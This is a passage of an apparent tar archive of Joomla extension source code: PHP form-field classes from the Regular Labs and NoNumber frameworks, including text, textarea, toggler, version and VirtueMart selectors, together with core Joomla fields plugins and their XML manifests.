wf-templatemanager-templates">'; $str[] = ' <div class="form-field-repeatable-item-group well well-small p-2 bg-light">'; foreach ($fields as $field) { // huh? if (!$field->element instanceof SimpleXMLElement) { continue; } $field->element['multiple'] = true; $name = (string) $field->element['name']; $val = is_array($value) && isset($value[$name]) ? $value[$name] : ''; if ($name === "url") { $val = htmlspecialchars($val, ENT_COMPAT, 'UTF-8'); } if ($name === "html") { $val = htmlspecialchars_decode($val); } if ($name === "thumbnail") { $val = htmlspecialchars($val, ENT_COMPAT, 'UTF-8'); } // escape value $field->value = $val; $field->setup($field->element, $field->value, $this->group); // reset id $field->id .= '_' . $n; // reset name $field->name = $name; $str[] = $field->renderField(); } $n++; $str[] = ' </div>'; $str[] = ' <div class="form-field-repeatable-item-control">'; $str[] = ' <button class="btn btn-link form-field-repeatable-add" aria-label="' . JText::_('JGLOBAL_FIELD_ADD') . '"><i class="icon icon-plus pull-right float-right"></i></button>'; $str[] = ' <button class="btn btn-link form-field-repeatable-remove" aria-label="' . JText::_('JGLOBAL_FIELD_REMOVE') . '"><i class="icon icon-trash pull-right float-right"></i></button>'; $str[] = ' </div>'; $str[] = '</div>'; } $str[] = '<input type="hidden" name="' . $this->name . '" value="" />'; JFactory::getDocument()->addScript(JURI::root(true) . '/components/com_jce/editor/tiny_mce/plugins/templatemanager/js/templates.js'); return implode("", $str); } } text.php 0000644 00000004170 15232574455 0006257 0 ustar 00 <?php /** * @package Regular Labs Library * @version 23.7.24631 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text as JText; use RegularLabs\Library\StringHelper as RL_String; if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')) { return; } require_once JPATH_LIBRARIES . '/regularlabs/autoload.php'; JFormHelper::loadFieldClass('text'); class JFormFieldRL_Text extends JFormFieldText { public $type = 'Text'; public function setup(SimpleXMLElement $element, $value, $group = null) { $this->element = $element; $element['label'] = $this->prepareText($element['label']); $element['description'] = $this->prepareText($element['description']); $element['hint'] = $this->prepareText($element['hint']); $element['translateDescription'] = false; return parent::setup($element, $value, $group); } private function get($val, $default = '') { if ( ! isset($this->params[$val]) || (string) $this->params[$val] == '') { return $default; } return (string) $this->params[$val]; } private function prepareText($string = '') { $string = trim($string); if ($string == '') { return ''; } // variables $var1 = JText::_($this->get('var1')); $var2 = JText::_($this->get('var2')); $var3 = JText::_($this->get('var3')); $var4 = JText::_($this->get('var4')); $var5 = JText::_($this->get('var5')); $string = JText::sprintf($string, $var1, $var2, $var3, $var4, $var5); $string = trim(RL_String::html_entity_decoder($string)); $string = str_replace('"', '"', $string); $string = str_replace('span style="font-family:monospace;"', 'span class="rl-code"', $string); return $string; } } textareaplus.php 0000644 00000004261 15232574455 0010015 0 ustar 00 <?php /** * Element: Text Area Plus * Displays a text area with extra options * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; require_once JPATH_PLUGINS . '/system/nnframework/helpers/text.php'; class JFormFieldNN_TextAreaPlus extends JFormField { public $type = 'TextAreaPlus'; private $params = null; protected function getLabel() { $this->params = $this->element->attributes(); $label = nnText::html_entity_decoder(JText::_($this->get('label'))); $html = '<label id="' . $this->id . '-lbl" for="' . $this->id . '"'; if ($this->description) { $html .= ' class="hasTooltip" title="<strong>' . $label . '</strong><br />' . JText::_($this->description) . '">'; } else { $html .= '>'; } $html .= $label . '</label>'; return $html; } protected function getInput() { $width = $this->get('width', 600); $height = $this->get('height', 80); $class = trim('nn_textarea ' . $this->get('class')); $class = 'class="' . $class . '"'; $type = $this->get('texttype'); if (is_array($this->value)) { $this->value = trim(implode("\n", $this->value)); } if ($type == 'html') { // Convert <br /> tags so they are not visible when editing $this->value = str_replace('<br />', "\n", $this->value); } else if ($type == 'regex') { // Protects the special characters $this->value = str_replace('[:REGEX_ENTER:]', '\n', $this->value); } $this->value = htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8'); return '<textarea name="' . $this->name . '" cols="' . (round($width / 7.5)) . '" rows="' . (round($height / 15)) . '" style="width:' . (($width == '600') ? '100%' : $width . 'px') . ';height:' . $height . 'px" ' . $class . ' id="' . $this->id . '" >' . $this->value . '</textarea>'; } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } toggler.php 0000644 00000005635 15232574455 0006745 0 ustar 00 <?php /** * Element: Toggler * Adds slide in and out functionality to framework based on an framework value * * @package NoNumber Framework * @version 14.11.6 * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; /** * To use this, make a start xml param tag with the param and value set * And an end xml param tag without the param and value set * Everything between those tags will be included in the slide * * Available extra parameters: * param The name of the reference parameter * value a comma separated list of value on which to show the framework */ class JFormFieldNN_Toggler extends JFormField { public $type = 'Toggler'; private $params = null; protected function getLabel() { return ''; } protected function getInput() { $field = new nnFieldToggler; return $field->getInput($this->element->attributes()); } } class nnFieldToggler { function getInput($params) { $this->params = $params; $option = JFactory::getApplication()->input->get('option'); // do not place toggler stuff on JoomFish pages if ($option == 'com_joomfish') { return ''; } $param = $this->get('param'); $value = $this->get('value'); $nofx = $this->get('nofx'); $method = $this->get('method'); $div = $this->get('div', 0); JHtml::_('jquery.framework'); JFactory::getDocument()->addScriptVersion(JURI::root(true) . '/media/nnframework/js/script.min.js'); JFactory::getDocument()->addScriptVersion(JURI::root(true) . '/media/nnframework/js/toggler.min.js'); $param = preg_replace('#^\s*(.*?)\s*$#', '\1', $param); $param = preg_replace('#\s*\|\s*#', '|', $param); $html = array(); if ($param != '') { $param = preg_replace('#[^a-z0-9-\.\|\@]#', '_', $param); $param = str_replace('@', '_', $param); $set_groups = explode('|', $param); $set_values = explode('|', $value); $ids = array(); foreach ($set_groups as $i => $group) { $count = $i; if ($count >= count($set_values)) { $count = 0; } $value = explode(',', $set_values[$count]); foreach ($value as $val) { $ids[] = $group . '.' . $val; } } if (!$div) { $html[] = '</div></div>'; } $html[] = '<div id="' . rand(1000000, 9999999) . '___' . implode('___', $ids) . '" class="nntoggler'; if ($nofx) { $html[] = ' nntoggler_nofx'; } if ($method == 'and') { $html[] = ' nntoggler_and'; } $html[] = '">'; if (!$div) { $html[] = '<div><div>'; } } else { $html[] = '</div>'; } return implode('', $html); } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } users.php 0000644 00000002301 15232574455 0006426 0 ustar 00 <?php /** * @author Tassos Marinos <info@tassos.gr> * @link https://www.tassos.gr * @copyright Copyright © 2024 Tassos All Rights Reserved * @license GNU GPLv3 <http://www.gnu.org/licenses/gpl.html> or later */ defined('_JEXEC') or die; use \NRFramework\HTML; require_once dirname(__DIR__) . '/helpers/field.php'; class JFormFieldNR_Users extends NRFormField { public $type = 'Users'; protected function getInput() { $this->params = $this->element->attributes(); if (!is_array($this->value)) { $this->value = explode(',', $this->value); } $options = $this->getUsers(); $size = (int) $this->get('size', 300); return HTML::treeselectSimple($options, $this->name, $this->value, $this->id, $size); } public function getUsers() { $query = $this->db->getQuery(true) ->select('COUNT(u.id)') ->from('#__users AS u') ->where('u.block = 0'); $this->db->setQuery($query); $total = $this->db->loadResult(); $query->clear('select') ->select('u.name, u.username, u.id') ->order('name'); $this->db->setQuery($query); $list = $this->db->loadObjectList(); return $this->getOptionsByList($list, array('username', 'id')); } } version.php 0000644 00000003253 15232574455 0006761 0 ustar 00 <?php /** * Element: Version * Displays the version check * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; class JFormFieldNN_Version extends JFormField { public $type = 'Version'; private $params = null; protected function getLabel() { return ''; } protected function getInput() { $this->params = $this->element->attributes(); $extension = $this->get('extension'); $xml = $this->get('xml'); if (!$xml && $this->form->getValue('element')) { if ($this->form->getValue('folder')) { $xml = 'plugins/' . $this->form->getValue('folder') . '/' . $this->form->getValue('element') . '/' . $this->form->getValue('element') . '.xml'; } else { $xml = 'administrator/modules/' . $this->form->getValue('element') . '/' . $this->form->getValue('element') . '.xml'; } if (!JFile::exists(JPATH_SITE . '/' . $xml)) { return ''; } } if (!strlen($extension) || !strlen($xml)) { return ''; } $authorise = JFactory::getUser()->authorise('core.manage', 'com_installer'); if (!$authorise) { return ''; } require_once JPATH_PLUGINS . '/system/nnframework/helpers/versions.php'; return '</div><div class="hide">' . nnVersions::getInstance()->getMessage($extension, $xml); } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } virtuemart.php 0000644 00000015303 15232574455 0007475 0 ustar 00 <?php /** * Element: VirtueMart * Displays a multiselectbox of available VirtueMart categories / products * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; require_once JPATH_PLUGINS . '/system/nnframework/helpers/functions.php'; require_once JPATH_PLUGINS . '/system/nnframework/helpers/parameters.php'; require_once JPATH_PLUGINS . '/system/nnframework/helpers/text.php'; class JFormFieldNN_VirtueMart extends JFormField { public $type = 'VirtueMart'; private $params = null; private $db = null; private $max_list_count = 0; protected function getInput() { if (!nnFrameworkFunctions::extensionInstalled('virtuemart')) { return '<fieldset class="alert alert-danger">' . JText::_('ERROR') . ': ' . JText::sprintf('NN_FILES_NOT_FOUND', JText::_('NN_VIRTUEMART')) . '</fieldset>'; } $this->params = $this->element->attributes(); $this->db = JFactory::getDBO(); $group = $this->get('group', 'categories'); $tables = $this->db->getTableList(); if (!in_array($this->db->getPrefix() . 'virtuemart_' . $group, $tables)) { return '<fieldset class="alert alert-danger">' . JText::_('ERROR') . ': ' . JText::sprintf('NN_TABLE_NOT_FOUND', JText::_('NN_VIRTUEMART')) . '</fieldset>'; } $parameters = nnParameters::getInstance(); $params = $parameters->getPluginParams('nnframework'); $this->max_list_count = $params->max_list_count; if (!is_array($this->value)) { $this->value = explode(',', $this->value); } $options = $this->{'get' . $group}(); $size = (int) $this->get('size'); $multiple = $this->get('multiple'); if ($group == 'categories') { require_once JPATH_PLUGINS . '/system/nnframework/helpers/html.php'; return nnHtml::selectlist($options, $this->name, $this->value, $this->id, $size, $multiple); } $size = $size ? 'style="width:' . $size . 'px"' : ''; $attr = $size; $attr .= $multiple ? ' multiple="multiple"' : ''; return JHtml::_('select.genericlist', $options, $this->name, trim($attr), 'value', 'text', $this->value, $this->id); } function getCategories() { $query = $this->db->getQuery(true) ->select('COUNT(*)') ->from('#__virtuemart_categories AS c') ->where('c.published > -1'); $this->db->setQuery($query); $total = $this->db->loadResult(); if ($total > $this->max_list_count) { return -1; } $show_ignore = $this->get('show_ignore'); $query->clear() ->select('c.virtuemart_category_id as id, cc.category_parent_id AS parent_id, l.category_name AS title, c.published') ->from('#__virtuemart_categories_' . $this->getActiveLanguage() . ' AS l') ->join('', '#__virtuemart_categories AS c using (virtuemart_category_id)') ->join('LEFT', '#__virtuemart_category_categories AS cc ON l.virtuemart_category_id = cc.category_child_id') ->where('c.published > -1') ->order('c.ordering, l.category_name'); $this->db->setQuery($query); $items = $this->db->loadObjectList(); // establish the hierarchy of the menu // TODO: use node model $children = array(); if ($items) { // first pass - collect children foreach ($items as $v) { $pt = $v->parent_id; $list = @$children[$pt] ? $children[$pt] : array(); array_push($list, $v); $children[$pt] = $list; } } // second pass - get an indent list of the items $list = JHtml::_('menu.treerecurse', 0, '', array(), $children, 9999, 0, 0); // assemble items to the array $options = array(); if ($show_ignore) { if (in_array('-1', $this->value)) { $this->value = array('-1'); } $options[] = JHtml::_('select.option', '-1', '- ' . JText::_('NN_IGNORE') . ' -', 'value', 'text', 0); $options[] = JHtml::_('select.option', '-', ' ', 'value', 'text', 1); } foreach ($list as $item) { $item->treename = nnText::prepareSelectItem($item->treename, $item->published, '', 1); $options[] = JHtml::_('select.option', $item->id, $item->treename, 'value', 'text', 0); } return $options; } function getProducts() { $query = $this->db->getQuery(true) ->select('COUNT(*)') ->from('#__virtuemart_products AS p') ->where('p.published > -1'); $this->db->setQuery($query); $total = $this->db->loadResult(); if ($total > $this->max_list_count) { return -1; } $lang = $this->getActiveLanguage(); $query->clear() ->select('p.virtuemart_product_id as id, l.product_name AS name, p.product_sku as sku, cl.category_name AS cat, p.published') ->from('#__virtuemart_products AS p') ->join('LEFT', '#__virtuemart_products_' . $lang . ' AS l ON l.virtuemart_product_id = p.virtuemart_product_id') ->join('LEFT', '#__virtuemart_product_categories AS x ON x.virtuemart_product_id = p.virtuemart_product_id') ->join('LEFT', '#__virtuemart_categories AS c ON c.virtuemart_category_id = x.virtuemart_category_id') ->join('LEFT', '#__virtuemart_categories_' . $lang . ' AS cl ON cl.virtuemart_category_id = c.virtuemart_category_id') ->where('p.published > -1') ->order('l.product_name, p.product_sku'); $this->db->setQuery($query); $list = $this->db->loadObjectList(); // assemble items to the array $options = array(); foreach ($list as $item) { $item->name = $item->name . ' [' . $item->sku . ']' . ($item->cat ? ' [' . $item->cat . ']' : ''); $item->name = nnText::prepareSelectItem($item->name, $item->published); $options[] = JHtml::_('select.option', $item->id, $item->name, 'value', 'text', 0); } return $options; } private function getActiveLanguage() { $query = $this->db->getQuery(true) ->select('config') ->from('#__virtuemart_configs') ->where('virtuemart_config_id = 1'); $this->db->setQuery($query); $config = $this->db->loadResult(); switch (true) { case (strpos($config, 'active_languages=') !== false): $lang = substr($config, strpos($config, 'active_languages=')); $lang = substr($lang, 0, strpos($lang, '|')); $lang = explode('=', $lang); $lang = unserialize($lang[1]); if (isset($lang[0])) { $lang = strtolower($lang[0]); $lang = str_replace('-', '_', $lang); return $lang; } case (strpos($config, 'vmlang=') !== false) : $lang = substr($config, strpos($config, 'vmlang=')); $lang = substr($lang, 0, strpos($lang, '|')); if (preg_match('#"([^"]*_[^"]*)"#', $lang, $lang)) { return $lang['1']; } default: return 'en_gb'; } } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } calendar/params/calendar.xml 0000644 00000000720 15234411537 0012077 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="showtime" type="radio" label="PLG_FIELDS_CALENDAR_PARAMS_SHOWTIME_LABEL" description="PLG_FIELDS_CALENDAR_PARAMS_SHOWTIME_DESC" class="btn-group btn-group-yesno" default="0" filter="integer" > <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> </fields> </form> calendar/tmpl/calendar.php 0000644 00000001044 15234411537 0011557 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Calendar * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } if (is_array($value)) { $value = implode(', ', $value); } $formatString = $field->fieldparams->get('showtime', 0) ? 'DATE_FORMAT_LC5' : 'DATE_FORMAT_LC4'; echo htmlentities(JHtml::_('date', $value, JText::_($formatString))); calendar/calendar.php 0000644 00000002361 15234411537 0010606 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Calendar * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields Calendar Plugin * * @since 3.7.0 */ class PlgFieldsCalendar extends FieldsPlugin { /** * Transforms the field into a DOM XML element and appends it as a child on the given parent. * * @param stdClass $field The field. * @param DOMElement $parent The field node parent. * @param JForm $form The form. * * @return DOMElement * * @since 3.7.0 */ public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) { $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form); if (!$fieldNode) { return $fieldNode; } // Set filter to user UTC $fieldNode->setAttribute('filter', 'USER_UTC'); // Set field to use translated formats $fieldNode->setAttribute('translateformat', '1'); $fieldNode->setAttribute('showtime', $field->fieldparams->get('showtime', 0) ? 'true' : 'false'); return $fieldNode; } } calendar/calendar.xml 0000644 00000001504 15234411537 0010615 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_calendar</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>(C) 2016 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_CALENDAR_XML_DESCRIPTION</description> <files> <filename plugin="calendar">calendar.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_calendar.ini</language> <language tag="en-GB">en-GB.plg_fields_calendar.sys.ini</language> </languages> </extension> checkboxes/params/checkboxes.xml 0000644 00000001373 15234411537 0013016 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="options" type="subform" label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_LABEL" description="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_DESC" layout="joomla.form.field.subform.repeatable-table" icon="list" multiple="true" > <form hidden="true" name="list_templates_modal" repeat="true"> <field name="name" type="text" label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_NAME_LABEL" size="30" /> <field name="value" type="text" label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_VALUE_LABEL" size="30" /> </form> </field> </fieldset> </fields> </form> checkboxes/tmpl/checkboxes.php 0000644 00000001166 15234411537 0012476 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Checkboxes * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $fieldValue = $field->value; if ($fieldValue === '' || $fieldValue === null) { return; } $fieldValue = (array) $fieldValue; $texts = array(); $options = $this->getOptionsFromField($field); foreach ($options as $value => $name) { if (in_array((string) $value, $fieldValue)) { $texts[] = JText::_($name); } } echo htmlentities(implode(', ', $texts)); checkboxes/checkboxes.php 0000644 00000000722 15234411537 0011517 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Checkboxes * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldslistplugin', JPATH_ADMINISTRATOR); /** * Fields Checkboxes Plugin * * @since 3.7.0 */ class PlgFieldsCheckboxes extends FieldsListPlugin { } checkboxes/checkboxes.xml 0000644 00000003073 15234411537 0011532 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_checkboxes</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>(C) 2016 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_CHECKBOXES_XML_DESCRIPTION</description> <files> <filename plugin="checkboxes">checkboxes.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_checkboxes.ini</language> <language tag="en-GB">en-GB.plg_fields_checkboxes.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="options" type="subform" label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_LABEL" description="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_DESC" layout="joomla.form.field.subform.repeatable-table" icon="list" multiple="true" > <form hidden="true" name="list_templates_modal" repeat="true"> <field name="name" type="text" label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_NAME_LABEL" size="30" /> <field name="value" type="text" label="PLG_FIELDS_CHECKBOXES_PARAMS_OPTIONS_VALUE_LABEL" size="30" /> </form> </field> </fieldset> </fields> </config> </extension> color/tmpl/color.php 0000644 00000000623 15234411537 0010473 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Color * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } if (is_array($value)) { $value = implode(', ', $value); } echo htmlentities($value); color/color.php 0000644 00000002011 15234411537 0007510 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Color * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields Color Plugin * * @since 3.7.0 */ class PlgFieldsColor extends FieldsPlugin { /** * Transforms the field into a DOM XML element and appends it as a child on the given parent. * * @param stdClass $field The field. * @param DOMElement $parent The field node parent. * @param JForm $form The form. * * @return DOMElement * * @since 3.7.0 */ public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) { $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form); if (!$fieldNode) { return $fieldNode; } $fieldNode->setAttribute('validate', 'color'); return $fieldNode; } } color/color.xml 0000644 00000001430 15234411537 0007525 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_color</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>(C) 2016 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_COLOR_XML_DESCRIPTION</description> <files> <filename plugin="color">color.php</filename> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_color.ini</language> <language tag="en-GB">en-GB.plg_fields_color.sys.ini</language> </languages> </extension> editor/params/editor.xml 0000644 00000002746 15234411537 0011343 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="buttons" type="list" label="PLG_FIELDS_EDITOR_PARAMS_SHOW_BUTTONS_LABEL" description="PLG_FIELDS_EDITOR_PARAMS_SHOW_BUTTONS_DESC" filter="integer" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="hide" type="plugins" label="PLG_FIELDS_EDITOR_PARAMS_BUTTONS_HIDE_LABEL" description="JGLOBAL_SELECT_SOME_OPTIONS" folder="editors-xtd" multiple="true" /> <field name="width" type="text" label="PLG_FIELDS_EDITOR_PARAMS_WIDTH_LABEL" description="PLG_FIELDS_EDITOR_PARAMS_WIDTH_DESC" size="5" /> <field name="height" type="text" label="PLG_FIELDS_EDITOR_PARAMS_HEIGHT_LABEL" description="PLG_FIELDS_EDITOR_PARAMS_HEIGHT_DESC" size="5" /> <field name="filter" type="list" label="PLG_FIELDS_TEXT_PARAMS_FILTER_LABEL" description="PLG_FIELDS_TEXT_PARAMS_FILTER_DESC" class="btn-group" validate="options" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="0">JNO</option> <option value="raw">JLIB_FILTER_PARAMS_RAW</option> <option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option> <option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option> </field> </fieldset> </fields> </form> editor/tmpl/editor.php 0000644 00000000546 15234411537 0011017 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Editor * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } echo JHtml::_('content.prepare', $value); editor/editor.php 0000644 00000002271 15234411537 0010040 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Editor * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields Editor Plugin * * @since 3.7.0 */ class PlgFieldsEditor extends FieldsPlugin { /** * Transforms the field into a DOM XML element and appends it as a child on the given parent. * * @param stdClass $field The field. * @param DOMElement $parent The field node parent. * @param JForm $form The form. * * @return DOMElement * * @since 3.7.0 */ public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) { $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form); if (!$fieldNode) { return $fieldNode; } $fieldNode->setAttribute('buttons', $field->fieldparams->get('buttons', $this->params->get('buttons', 0)) ? 'true' : 'false'); $fieldNode->setAttribute('hide', implode(',', $field->fieldparams->get('hide', array()))); return $fieldNode; } } editor/editor.xml 0000644 00000004501 15234411537 0010047 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_editor</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>(C) 2016 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_EDITOR_XML_DESCRIPTION</description> <files> <filename plugin="editor">editor.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_editor.ini</language> <language tag="en-GB">en-GB.plg_fields_editor.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="buttons" type="radio" label="PLG_FIELDS_EDITOR_PARAMS_SHOW_BUTTONS_LABEL" description="PLG_FIELDS_EDITOR_PARAMS_SHOW_BUTTONS_DESC" class="btn-group btn-group-yesno" default="0" filter="integer" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="hide" type="plugins" label="PLG_FIELDS_EDITOR_PARAMS_BUTTONS_HIDE_LABEL" description="JGLOBAL_SELECT_SOME_OPTIONS" folder="editors-xtd" multiple="true" /> <field name="width" type="text" label="PLG_FIELDS_EDITOR_PARAMS_WIDTH_LABEL" description="PLG_FIELDS_EDITOR_PARAMS_WIDTH_DESC" default="100%" size="5" /> <field name="height" type="text" label="PLG_FIELDS_EDITOR_PARAMS_HEIGHT_LABEL" description="PLG_FIELDS_EDITOR_PARAMS_HEIGHT_DESC" default="250px" size="5" /> <field name="filter" type="list" label="PLG_FIELDS_EDITOR_PARAMS_FILTER_LABEL" description="PLG_FIELDS_EDITOR_PARAMS_FILTER_DESC" class="btn-group" default="JComponentHelper::filterText" validate="options" > <option value="0">JNO</option> <option value="raw">JLIB_FILTER_PARAMS_RAW</option> <option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option> <option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option> </field> </fieldset> </fields> </config> </extension> imagelist/params/imagelist.xml 0000644 00000002011 15234411537 0012504 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="directory" type="folderlist" label="PLG_FIELDS_IMAGELIST_PARAMS_DIRECTORY_LABEL" description="PLG_FIELDS_IMAGELIST_PARAMS_DIRECTORY_DESC" directory="images" hide_none="true" hide_default="true" recursive="true" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="/">/</option> </field> <field name="multiple" type="list" label="PLG_FIELDS_IMAGELIST_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_IMAGELIST_PARAMS_MULTIPLE_DESC" filter="integer" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="image_class" type="textarea" label="PLG_FIELDS_IMAGELIST_PARAMS_IMAGE_CLASS_LABEL" description="PLG_FIELDS_IMAGELIST_PARAMS_IMAGE_CLASS_DESC" size="40" /> </fieldset> </fields> </form> imagelist/tmpl/imagelist.php 0000644 00000001711 15234411537 0012172 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Imagelist * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; if ($field->value == '') { return; } $class = $fieldParams->get('image_class'); if ($class) { // space before, so if no class sprintf below works $class = ' class="' . htmlentities($class, ENT_COMPAT, 'UTF-8', true) . '"'; } $value = (array) $field->value; $buffer = ''; foreach ($value as $path) { if (!$path || $path == '-1') { continue; } if ($fieldParams->get('directory', '/') !== '/') { $buffer .= sprintf('<img src="images/%s/%s"%s>', $fieldParams->get('directory'), htmlentities($path, ENT_COMPAT, 'UTF-8', true), 